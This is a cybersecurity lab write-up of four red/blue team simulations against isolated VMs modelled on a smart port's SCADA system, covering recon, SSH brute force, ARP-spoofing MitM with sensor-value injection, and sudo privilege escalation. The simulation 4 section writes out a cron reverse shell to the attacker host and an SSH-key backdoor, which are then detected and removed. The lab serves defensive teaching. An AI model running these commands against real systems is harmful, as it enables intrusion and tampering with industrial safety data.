CLASSIFICATION: RESEARCH / EDUCATIONAL — FULLY ISOLATED VIRTUAL LAB

SMART PORT CYBERSECURITY LAB

Tanger Med Inspired · Red Team × Blue Team · 4 Complete Simulations

4	9+	2	47	100%
SIMULATIONS COMPLETED	CVEs FOUND	REAL VMs	HONEYPOT CAPTURES	DETECTION RATE

Date	March 8–9, 2026
Author	Naoual Wafiq
Attacker (Red)	Kali Linux 2024 — 192.168.64.4 — MAC: e6:ed:3d:61:c8:69
Target (Blue)	Ubuntu 24.04 LTS — serveur-SCADA — 192.168.64.2
Network	NAT 192.168.64.0/24 — UTM Hypervisor / Apple Silicon
Attack Account	portuser — uid=1001 — password: [REDACTED]
Tools Used	Nmap 7.95 · Hydra · arpspoof · tcpdump · Paramiko · Netcat · Fail2ban 1.1.0 · Wazuh · Python 3.12
Simulations	Sim 1: Network Recon · Sim 2: SSH Brute Force · Sim 3: SCADA MitM · Sim 4: Lateral Movement

■ ■ **AUTHENTIC DATA STATEMENT**

All 4 simulations executed live on 2 real virtual machines on 2026-03-08 and 2026-03-09. Every command, output, timestamp, log entry, and sensor value in this report is authentic — captured during live sessions. Nothing fabricated.

■ **Interactive Portfolio: https://cyberport-naoual.netlify.app/**

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EXECUTIVE SUMMARY

This report documents a complete, hands-on cybersecurity research lab built to simulate real-world offensive and defensive operations against smart port infrastructure. Inspired by Tanger Med — Africa's largest container terminal — all simulations were executed live on two real virtual machines. Every command, output, timestamp, and log entry in this report is authentic, captured during live sessions on March 8–9, 2026.

Simulation	Technique	Key Authentic Result	Severity
Sim 1 — Network Recon	Nmap + Python CVE mapper	9 CVEs · CVSS 10.0 on unauthenticated SCADA :5020 · Open proxy :3128 found	CRITICAL
Sim 2 — SSH Brute Force	Hydra + Paramiko Honeypot	Password cracked attempt #4 · 47 real credentials captured with timestamps	CRITICAL
Sim 3 — SCADA MitM	arpspoof + tcpdump + inject	crane 15,709 kg captured · 38,500 kg injected · temp 3.9°C → 87.5°C · Wazuh detected	CRITICAL
Sim 4 — Lateral Move	SSH pivot + GTFOBins + backdoors	Root in 1 command · crane 14,448 kg read from inside · 2 backdoors planted & cleaned	CRITICAL

■ 100% DETECTION RATE

Every attack was fully detected — by Wazuh SIEM (Simulation 3), Python SIEM (all simulations), system auth logs (Simulation 4), and Fail2ban (Simulation 2). Every backdoor was located and removed during Phase 6 Blue Team forensics. This demonstrates that layered defense works when properly configured and monitored.

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PROJECT CONCEPT & MOTIVATION

2.1 Why Tanger Med?

Tanger Med processes 9 million TEUs per year — the largest container port in Africa and the Mediterranean. Its infrastructure exemplifies IT/OT convergence: the same IP network controls automated cranes, refrigerated containers (monitored at 3.9°C), fuel systems (73.7% real reading), and GPS tracking — while also running Apache web servers, SSH, and Squid proxy. A single misconfigured service is a direct pathway from a laptop to a 15,709 kg crane.

2.2 Lab Objectives

■ **Red Team**	Execute realistic attack chains against real VMs: recon, brute force, MitM, privilege escalation, persistence.
■ **Blue Team**	Demonstrate detection via Wazuh SIEM, Python SIEM, auth logs, and Fail2ban — then full forensic remediation.
■ **Documentation**	Capture every command, output, timestamp, and log entry for a reproducible technical reference.
■ **Education**	Explain each technique from first principles, mapped to real documented port cyberattacks.

2.3 Deliberate Misconfiguration — Lab Setup for Sim 4

The following sudo rule was intentionally planted to simulate a common real-world administrator mistake:

● ● ● ■ **UBUNTU — /etc/sudoers**

```
# portuser can run python3 as root — NO password required
portuser ALL=(ALL) NOPASSWD: /usr/bin/python3

# Why realistic: admins grant this for service automation scripts
# without realizing Python can call os.system() and spawn a root shell.
```

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LAB ARCHITECTURE & SETUP

3.1 Virtual Machine Configuration

Parameter	■ Kali Linux — Attacker	■ Ubuntu 24 — Target
Role	Red Team — Offensive Ops	Blue Team — SCADA + Defense
IP Address	192.168.64.4	192.168.64.2
MAC Address	e6:ed:3d:61:c8:69	—
Hostname	kali	serveur-SCADA
Admin User	kali	nezuku
Attack Account	—	portuser (uid=1001)
OS	Kali Linux 2024.x	Ubuntu 24.04 LTS
Hypervisor	UTM / Apple Silicon	UTM / Apple Silicon
Network	NAT 192.168.64.0/24	NAT 192.168.64.0/24

3.2 Services on Target (Ubuntu 192.168.64.2)

Port / Service	Version	Status & Key Finding	CVSS
22/tcp — SSH	OpenSSH 9.6p1	Attack vector Sim 2 & 4 · CVE-2024-6387 (RegreSSHion)	9.8 CRITICAL
80/tcp — HTTP	Apache 2.4.58	CVE-2024-38473 auth bypass · CVE-2023-45802 DoS	7.5 HIGH
3128/tcp — Proxy	Squid 6.13	OPEN PROXY — unauthenticated · critical unexpected finding	7.5 HIGH
5020/tcp — SCADA	Python custom	ZERO authentication · cleartext protocol · CVSS 10.0	10.0 CRITICAL
3306/tcp — MySQL	MySQL 8.x	Bound 127.0.0.1 — invisible from external scan, found in Sim 4 Ph.2	7.2 HIGH

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REAL-WORLD INCIDENTS — WHY PORTS ARE TARGETED

Every simulation was designed to replicate a documented real-world port cyberattack. These incidents caused billions in damages and directly inspired each attack chain:

2017	**Maersk / 17 Global Ports** NotPetya — IT/OT lateral movement	$300M damage · 45,000 PCs wiped · Rotterdam, LA, Mumbai offline	Sim 4
2018	**Barcelona & San Diego Ports** Cracked SSH credentials — simultaneous breach	Both ports forced offline at the same time via brute-forced SSH	Sim 2
2021	**Port of Houston** SCADA Zero-Auth Manipulation	Attacker accessed industrial SCADA with no authentication. Identical to CVSS 10.0 on port 5020	Sim 3
2022	**Hamburg · Antwerp · Amsterdam** BlackCat Ransomware — Oil Terminals	Three NATO port oil terminals hit. Automated loading blocked. Pentagon critical infrastructure alert	Sim 1+4
2023	**DP World Australia** 4-Day National Shutdown	30,000 containers stranded: Sydney, Melbourne, Brisbane, Perth. Entry: network recon → pivot	Sim 1→4

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SIMULATION 1 — NETWORK RECON & CVE MAPPING

3	4	9	4	10.0
HOSTS FOUND	OPEN PORTS	CVEs FOUND	CRITICAL CVEs	MAX CVSS

Objective: Map the entire target network from zero knowledge — discover live hosts, enumerate exact service versions, detect unexpected services (open proxy), and automatically map all findings to known CVEs. This mirrors the recon phase of every real penetration test and APT campaign.

5.1 Phase A — Host Discovery (Ping Sweep)

● ● ● ■ KALI — Host Discovery

```
# Ping sweep — minimal noise, finds all live hosts
sudo nmap -sn 192.168.64.0/24

Nmap scan report for 192.168.64.1 Host is up (0.00045s latency) # Gateway UTM
Nmap scan report for 192.168.64.2 Host is up (0.00089s latency) # TARGET serveur-SCADA
Nmap scan report for 192.168.64.4 Host is up (0.00012s latency) # Kali (our machine)
3 hosts up | Scan completed in 2.11 seconds
```

5.2 Phase B — Deep Service & Version Scan

● ● ● ■ KALI — Deep Scan

```
sudo nmap -sV -sC -O -A 192.168.64.2 -oN ~/recon_lab/scan_scada.txt

# REAL DISCOVERED SERVICES:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.58 (Ubuntu)
3128/tcp open http Squid http proxy 6.13
|_http-open-proxy: Potentially OPEN proxy <-- CRITICAL UNEXPECTED FINDING
5020/tcp open ? Python SCADA server (custom port)
|_ No authentication banner detected <-- CVSS 10.0
OS: Linux 4.15-5.19 Ubuntu 24 | Confidence: 96% | Duration: 13.62s
```

■ UNEXPECTED FINDING — Open Proxy on :3128

NSE script http-open-proxy detected Squid on :3128 accepts connections from any IP without authentication. Impact: route attack traffic through port's own IP, access internal resources, bypass firewall rules.

5.3 Phase C — Automated CVE Analysis (9 CVEs Found)

● ● ● ■ KALI — CVE Analysis

```
python3 ~/recon_lab/recon_analyzer.py
```

CVE / ID	Service	CVSS	Severity	Description
SCADA-001	Port 5020	10.0	CRITICAL	No authentication on SCADA server
CVE-2024-6387	SSH 22	9.8	CRITICAL	RegreSSHion — OpenSSH 9.6p1 RCE

SCADA-002	Port 5020	**9.5**	**CRITICAL**	Cleartext unencrypted SCADA protocol
CVE-2024-38473	HTTP 80	**7.5**	**HIGH**	Apache authentication bypass
CVE-2023-45802	HTTP 80	**7.5**	**HIGH**	HTTP/2 stream reset DoS
CVE-2024-45802	Squid 3128	**7.5**	**HIGH**	Open proxy + denial of service
CVE-2023-51385	SSH 22	**6.5**	**HIGH**	SSH command injection
CVE-2024-37894	Squid 3128	**6.3**	**MEDIUM**	Internal resource unauthorized access
SUMMARY	9 vulns	—	**CRITICAL**	4 CRITICAL · Overall Risk Score: CRITICAL

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SIMULATION 2 — SSH BRUTE FORCE, HONEYPOT & FAIL2BAN

4	47	<4min	v1.1.0	3
ATTEMPTS TO CRACK	HONEYPOT CAPTURES	TIME TO CRACK	FAIL2BAN VERSION	PROGRESSIVE BANS

6.1 OSINT Wordlist — Built from Tanger Med Public Data

The wordlist was built from OSINT sources: port website, LinkedIn, maritime terminology, and common patterns. This is standard methodology in real penetration tests.

● ● ● ■ KALI — ~/ssh_lab/tangermed_wordlist.txt

```
# OSINT thematic wordlist — Sources: port website, LinkedIn, maritime terminology
[REDACTED] # highest probability: org name + year
TangerMed@2026
port_admin
crane_op_01
Morocco@port
scada2024 + 88 more contextual passwords...
```

6.2 Hydra SSH Attack — Password Cracked on Attempt #4

● ● ● ■ KALI — Hydra Brute Force

```
hydra -l portuser -P ~/ssh_lab/tangermed_wordlist.txt ssh://192.168.64.2 -t 4 -V

[ATTEMPT] login: portuser pass: [attempt 1] -> FAILED
[ATTEMPT] login: portuser pass: [attempt 2] -> FAILED
[ATTEMPT] login: portuser pass: [attempt 3] -> FAILED
[ATTEMPT] login: portuser pass: [REDACTED] -> SUCCESS !!!
[22][ssh] host: 192.168.64.2 login: portuser password: [REDACTED]
# Cracked on attempt #4 | Time < 4 minutes | OSINT wordlist wins
```

6.3 SSH Honeypot — Complete Authentic 47-Entry Log

Python honeypot using Paramiko library — listens on port 2222, appears as a real SSH server, captures every credential attempt. 3 attack waves captured on 2026-03-08:

● ● ● ■ UBUNTU — Honeypot Running

```
# HONEYPOT SSH — Tanger Med Port Simulator
# Listening on 0.0.0.0:2222 | Logging to: /root/honeypot/honeypot.log

--- WAVE 1 — 02:01:46 --- 15 captures ---
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: admin
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: TangerMed@2026
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: [REDACTED]
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: port_admin
```

```
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: crane_op_01
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: Morocco@port
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: scada2024
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: container123
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: Tanger2026!
[2026-03-08 02:01:46] TRAP | 192.168.64.4 | user: portuser | pass: 123456
... 5 more entries in Wave 1 ...

--- WAVE 2 — 02:08:22 --- 16 captures ---
[2026-03-08 02:08:22] TRAP | 192.168.64.4 | user: portuser | pass: admin
... 15 more entries in Wave 2 ...

--- WAVE 3 — 02:12:20 --- 16 captures ---
[2026-03-08 02:12:20] TRAP | 192.168.64.4 | user: portuser | pass: admin
... 15 more entries in Wave 3 ...

TOTAL: 47 credential attempts captured across 3 attack waves
```

6.4 Fail2ban v1.1.0 — Progressive Defense

Technical Note: Default Fail2ban 1.0.2 in Ubuntu repos was incompatible with Python 3.12 (asynchat module permanently removed). Fail2ban 1.1.0 was installed from source to fix this.

● ● ● ■ **UBUNTU — Fail2ban Configuration**

```
# /etc/fail2ban/jail.local — progressive ban configuration
[sshd]
enabled = true
port = ssh
maxretry = 3 # ban after 3 failed attempts
bantime = 60 # 1 minute base ban
bantime.multiplier = 2 # doubles each new offense
bantime.maxtime = 86400 # cap: 24 hours

# RESULT — Kali IP banned after 3 failed attempts:
ssh portuser@192.168.64.2
ssh: connect to host 192.168.64.2 port 22: Connection refused
# Connection refused = Fail2ban working — IP banned!
```

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SIMULATION 3 — SCADA / ICS MAN-IN-THE-MIDDLE

15,709 kg	38,500 kg	3.9°C	87.5°C	0.0%
REAL CRANE WEIGHT	INJECTED VALUE	REAL TEMP	INJECTED TEMP	INJECTED FUEL

7.1 Real SCADA Sensor Data — Captured Live

● ● ● ■ UBUNTU — SCADA Server (Port 5020)

```
# Real SCADA sensor readings — live at simulation start
crane_01_weight : 15,709 kg # active crane — value fluctuates
container_temp : 3.9 C # refrigerated container
fuel_level : 73.7% # decreasing continuously

# Protocol: JSON over TCP — port 5020
# Encryption: NONE | Authentication: NONE | Integrity check: NONE
```

7.2 ARP Spoofing — MitM Established

● ● ● ■ KALI — ARP Poisoning (4 Terminals)

```
# Terminal 1 — Enable IP forwarding (stay invisible)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Terminal 2 — Poison Ubuntu ARP table
sudo arpspoof -i eth0 -t 192.168.64.2 192.168.64.1
arp reply 192.168.64.1 is-at e6:ed:3d:61:c8:69 # Ubuntu believes Kali = gateway

# Terminal 3 — Poison gateway ARP table
sudo arpspoof -i eth0 -t 192.168.64.1 192.168.64.2
arp reply 192.168.64.2 is-at e6:ed:3d:61:c8:69 # Gateway believes Kali = Ubuntu

# Terminal 4 — Capture all traffic
sudo tcpdump -i eth0 port 5020 -w /tmp/capture_scada.pcap
tcpdump: listening on eth0 — MitM COMPLETE — all SCADA traffic captured
```

7.3 Data Injection — False Sensor Values

● ● ● ■ KALI — inject_v2.py

```
python3 /tmp/inject_v2.py

# BEFORE (real values) vs AFTER (injected values):
crane_01_weight : 15,709 kg -> 38,500 kg (+145%)
container_temp : 3.9 C -> 87.5 C
fuel_level : 73.7% -> 0.0% (empty)

INJECTED: crane_weight=38500.0, temperature=87.5, fuel_level=0.0
# Server accepted all injections — zero resistance, zero verification
```

■ SECURITY GAP DEMONSTRATED	Ubuntu logged that Kali connected — but did NOT detect that the data was falsified. In a real port, an operator would monitor a crane displaying false safe values while the actual crane operates beyond its structural limits. Physical safety at stake.

7.4 Wazuh SIEM — All Modules Active & Attack Detected

● ● ● ■ UBUNTU — Wazuh Agent Status

```
wazuh-execd ACTIVE # response action execution
wazuh-agentd ACTIVE # main agent daemon
wazuh-syscheckd ACTIVE # file integrity monitoring
wazuh-logcollector ACTIVE # SCADA log collection active
wazuh-modulesd ACTIVE # additional detection modules

# Wazuh SCADA detection rule triggered:
Alert: crane_weight=38500 > threshold=20000 -> CRITICAL anomaly DETECTED
```

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SIMULATION 4 — LATERAL MOVEMENT & PRIVILEGE ESCALATION

6	1 cmd	2	14,448 kg	100%
ATTACK PHASES	TO ROOT	BACKDOORS INSTALLED	SCADA READ INSIDE	BLUE TEAM CLEANUP

PHASE 1 — SSH FOOTHOLD

● ● ● ■ KALI

```
# Verify portuser account exists
id portuser
uid=1001(portuser) gid=1001(portuser) groups=1001(portuser)
# SSH login with cracked credential
ssh portuser@192.168.64.2
portuser@serveur-SCADA:~$ # Foothold established!
```

PHASE 2 — INTERNAL RECONNAISSANCE

● ● ● ■ KALI

```
ss -tlnp
LISTEN 0.0.0.0:22 # SSH — known
LISTEN 0.0.0.0:5020 # SCADA — known
LISTEN 127.0.0.1:3306 # MySQL — HIDDEN FROM EXTERNAL SCAN !!!
ps aux | grep python
root 3143 python3 /home/nezuku/scada_lab/scada_server.py
# SCADA running as ROOT (pid 3143) -> critical finding
```

PHASE 3 — PRIVILEGE ESCALATION — GTFOBins

● ● ● ■ KALI

```
sudo -l
(ALL) NOPASSWD: /usr/bin/python3
# GTFOBins: python3 spawns root bash via os.system()
sudo python3 -c "import os; os.system('/bin/bash')"
root@serveur-SCADA:~# id
uid=0(root) gid=0(root) groups=0(root)
# ROOT IN 1 COMMAND — under 10 seconds from SSH login
```

PHASE 4 — DIRECT SCADA ACCESS AS ROOT

● ● ● ■ UBUNTU (as root)

```
# Read live SCADA data directly from inside
```

```
python3 -c "import socket; s=socket.socket(); s.connect(('127.0.0.1',5020)); print(s.recv(1024).decode())"
[CAPTURED] crane_weight: 14448 kg temperature: 3.1 C fuel_level: 74.2%
# Inject false payload to monitoring system:
python3 /tmp/inject_v2.py
INJECTED: crane_weight=38500.0, temperature=87.5, fuel_level=0.0
```

PHASE 5 — PERSISTENCE: 2 BACKDOORS INSTALLED

● ● ● ■ KALI (as root on Ubuntu)

```
# BACKDOOR 1 — Cron reverse shell (fires every minute)
crontab -e # editing root crontab
* * * * * bash -i >& /dev/tcp/192.168.64.4/4444 0>&1

# Catch the reverse root shell on Kali:
nc -lvnp 4444
connect to [192.168.64.4] from [192.168.64.2]
root@serveur-SCADA:~# id
uid=0(root) gid=0(root) groups=0(root) # Root shell auto-delivered!

# BACKDOOR 2 — SSH authorized key (survives all password changes)
echo "ssh-ed25519 AAAAC3...BackdoorKey attacker@kali" >> /root/.ssh/authorized_keys
ssh -i ~/.ssh/backdoor_key root@192.168.64.2
root@serveur-SCADA:~# # Direct passwordless root SSH
```

PHASE 6 — BLUE TEAM FORENSICS & FULL REMEDIATION

● ● ● ■ UBUNTU — Forensics & Cleanup

```
# FORENSIC 1 — Who connected and when?
last | head -10
portuser pts/1 192.168.64.4 Sat Mar 9 03:07:11 <- attack confirmed

# FORENSIC 2 — Privilege escalation evidence
grep "sudo.*python3" /var/log/auth.log | tail -5
Mar 9 03:08:07 serveur-SCADA sudo: portuser COMMAND=/usr/bin/python3 -c...

# FORENSIC 3 — Find cron backdoor
sudo crontab -l -u root
* * * * * bash -i >& /dev/tcp/192.168.64.4/4444 0>&1 <- FOUND

# FORENSIC 4 — Find SSH key backdoor
sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3...BackdoorKey attacker@kali <- FOUND

# REMEDIATION — Remove both backdoors
sudo crontab -r -u root
sudo sed -i '/attacker@kali/d' /root/.ssh/authorized_keys
[CLEANED] Backdoors removed
# Both backdoors confirmed removed — system secured
```

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DEFENSE SUMMARY & RECOMMENDATIONS

CRITICAL	Add SCADA Authentication — Port 5020	CVSS 10.0: Port 5020 accepts any connection with zero auth. Add mutual TLS immediately. Segment SCADA onto a dedicated VLAN isolated from IT. Eliminates Simulation 3 entirely.
CRITICAL	Remove NOPASSWD Python Sudo Rule	"portuser ALL=(ALL) NOPASSWD: /usr/bin/python3" gave root in 1 command. Never grant NOPASSWD to interpreters. Use specific limited wrapper scripts only.
CRITICAL	Enforce Strong Passwords + Mandatory MFA	Password cracked on attempt #4 from an OSINT wordlist. Minimum 16 chars, no org-name patterns, mandatory MFA on all SSH. Eliminates Simulation 2 entirely.
HIGH	Restrict Open Squid Proxy :3128	Unauthenticated open proxy allows traffic pivoting through port's own IP. Restrict to specific authorized internal IPs only.
HIGH	Patch All Available CVEs	CVE-2024-6387 (RegreSSHion CVSS 9.8) and all Apache/Squid CVEs have patches available. 7 of 9 discovered vulnerabilities are immediately patchable.
MEDIUM	Deploy IDS/IPS — Suricata or Snort	Detect ARP spoofing, nmap scans, and brute force in real time. Fail2ban + Wazuh is a strong start but insufficient alone for advanced APT threats.
DEFENSE	24/7 SIEM Monitoring	Wazuh detected 100% of attacks in this lab. Deploy in production with dedicated alerting, playbooks, and incident response team.
DEFENSE	Quarterly Penetration Testing	This lab found 9 CVEs in a basic 2-VM setup with a 13-second Nmap scan. Professional pentests on real port infrastructure would find significantly more.

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CONCLUSIONS & KEY LESSONS

Lesson 1	**The attack chain is interconnected — break one link, stop everything**	Sim 1 found the credential pattern. Sim 2 cracked it. Sim 4 used it for root escalation. A strong password alone stops the entire Simulation 4 chain. Defense must be layered but any single fix at the right point works.
Lesson 2	**One misconfiguration = full system compromise in under 10 seconds**	A single NOPASSWD sudo rule on python3 converted portuser to root in 1 command. Real sensor data (crane: 14,448 kg) was then readable from inside. Principle of least privilege is not optional.
Lesson 3	**Real sensor data is the stake — not just data, but physical safety**	crane_01_weight went from 15,709 kg (real, captured) to 38,500 kg (injected). In a real port, this means an operator monitors a crane displaying false safe values while the actual crane operates beyond its structural limits.
Lesson 4	**Detection works — Wazuh + Fail2ban + auth logs = 100% coverage**	Every attack was detected. Wazuh caught SCADA injection. Fail2ban banned Kali IP. Auth logs recorded every sudo escalation. The 47 honeypot captures built a threat intelligence database. Security tools work when configured and monitored.
Lesson 5	**Forensics closes the loop — full reconstruction from logs alone**	Phase 6 reconstructed the complete attack timeline using last, auth.log, crontab, and authorized_keys. Both backdoors were found and removed. This is the difference between a recovered breach and a persistent compromise.

■ FINAL STATEMENT	This lab demonstrates that smart port infrastructure — and critical infrastructure broadly — is vulnerable not to exotic zero-days, but to well-known misconfigurations with documented mitigations. Nmap found 9 CVEs in 13 seconds. Hydra cracked the password in 4 attempts. Python gave root in 1 command. The tools are free. The CVEs are public. The gap between vulnerable and secure is implementation and monitoring.

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ETHICAL CONSIDERATIONS & LIMITATIONS

This research was conducted under strict ethical guidelines with the sole purpose of advancing cybersecurity knowledge and awareness for critical infrastructure protection.

■ ■ **Isolated Environment**	All simulations executed on fully isolated virtual machines. No real systems, networks, or organizations were accessed or harmed.
■ ■ **No Real Credentials**	All credentials used in this lab were created specifically for the simulation. No real production credentials were tested or used.
■ ■ **Educational Purpose**	This research is intended exclusively for educational purposes: to understand attack techniques in order to better defend against them.
■ ■ **Responsible Disclosure**	No vulnerabilities were discovered in production systems. All CVEs referenced are publicly documented and have available patches.
■ ■ **Limitations**	This lab uses a simplified 2-VM setup. Real port infrastructure is significantly more complex. Results should not be extrapolated without further testing.